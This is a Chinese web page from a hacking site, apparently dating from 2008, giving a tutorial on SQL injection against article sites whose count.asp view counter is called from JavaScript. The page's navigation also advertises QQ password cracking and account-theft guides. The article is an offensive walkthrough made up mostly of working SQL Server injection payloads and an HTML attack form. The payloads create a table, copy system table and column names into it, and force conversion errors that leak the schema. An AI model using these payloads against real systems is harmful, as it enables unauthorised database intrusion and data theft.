首 页论 坛破解QQ密码领免费QQ秀QQ等级修改盗取QQ教程QQ密码暴力破解QQ空间完整做法免费开所有QQ业务
设为首页
加入收藏
联系我们
您当前的位置:下载者 -> 入侵检测 -> 文章内容
栏目导航
· QQ文章 · 综合文章
· 安全文章 · 新闻动态
· 实用技巧 · 入侵检测
· 木马病毒 · 电脑常识
· 编程设计 · 网络技术
相关文章

美国成跨州协议对社交网站进..
攻击韩国拍卖网站黑客被捕 ..
雅虎携手McAfee搜索结果提示..
台湾最大电玩资讯网站遭攻击..
推荐:三大措施设置数据库安全..
轻松挖出恶意网站中藏的病毒..
法国网站做抵制奥运调查遭攻..
境外黑客猛攻华人网站 网友呼..
CNN网站持续被攻 几近瘫痪
联合国网站自月初起遭攻击
红心中国发起网站遭黑客攻击..
评价网站服务器软件的几个方..
红心中国发起网站遭受欧洲黑..
韩国最大拍卖网站千万用户资..
中国黑客攻陷CNN旗下体育网站..
CNN网站遭黑客袭击 亚洲用户..
10个假淘宝网站 网页与淘宝如..
家乐福中国网站疑再遭黑客攻..
从反CNN网站被黑看未来网络战..
揭秘反对西方媒体网站anti C..

网站SQL脚本注入的不常见方法
发布时间:2008-5-7 13:12:07

来源:安全中国

☆ 全站文章系统采用FSO静态生成的HTML文件来显示,这样做的好处一来可以减轻服务器负担,提高访问速度。二是阻止SQL注入式的攻击...

文章系统原理:
全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。
攻击方法:查看源文件,里面是否有通过JS来调用页面。
如调用<script language="javascript" src="count.asp?id=1552"></script>来更新文章的浏览次数。

我们就可以来试一下可否注入:
http://服务域名/count.asp?id=1552’
看是否出错。如出错说明有注入漏洞,可采取正常攻击。

在本机建立一个post.htm的文件和log.txt的文本文件(用于记录用)

post.htm内容:方便输入…
复制内容到剪贴板代码:
&lt;iframe name=p src=# width=800 height=350 frameborder=0&gt;&lt;/iframe&gt;
&lt;br&gt;
&lt;form action=http://test.com/count.asp target=p&gt;
&lt;input name="id" value="1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status&gt;0);--" style="width:750"&gt;
&lt;input type=submit value="&gt;&gt;&gt;"&gt;
&lt;input type=hidden name=fno value="2, 3"&gt;
&lt;/form&gt;
对于SQL SERVER服务器可以这样判断:在1552后加一分号,如正常可能是SQL SERVER对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--

然后插入一条记录:id=1552;insert into aaa values(’test’);--

再之后枚举出他的数据表名:

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status&gt;0);--

这是将第一个表名更新到aaa的字段处。

id=1552 and exists(select * from aaa where aaa>5)就会报错,多数情况会将表名直接读出:Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’, 将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。 

/search.asp,行21

其中vote就是表名:

也可以先猜出一个表名,再把(select top 1 name from sysobjects where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。通过网页显示。

读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’刚才得到的表名’)。

id=1552;update aaa set aaa=(select top 1 name from sysobjects where xtype=’u’ and status&gt;0 and name&lt;&gt;’vote’);--

然后id=1552 and exists(select * from aaa where aaa>5)读出第二个表,一个个的读出,直到没有为止。

读字段:

id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),1));--

然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名id=1552;update aaa set aaa=(select top 1 col_name(object_id(’表名’),2));--然后id=1552 and exists(select * from aaa where aaa>5)出错,得到字段名。

……类推……

[] [打 印] [收 藏]
关于本站 网站帮助 广告合作 下载声明 友情连接 网站地图 联系站长
如果您对本站有任何建议或意见,请联系站长,感谢您对本站一如既往的支持!
Powered by:NewAsp SiteManageSystem Version 2.1 SP1 1030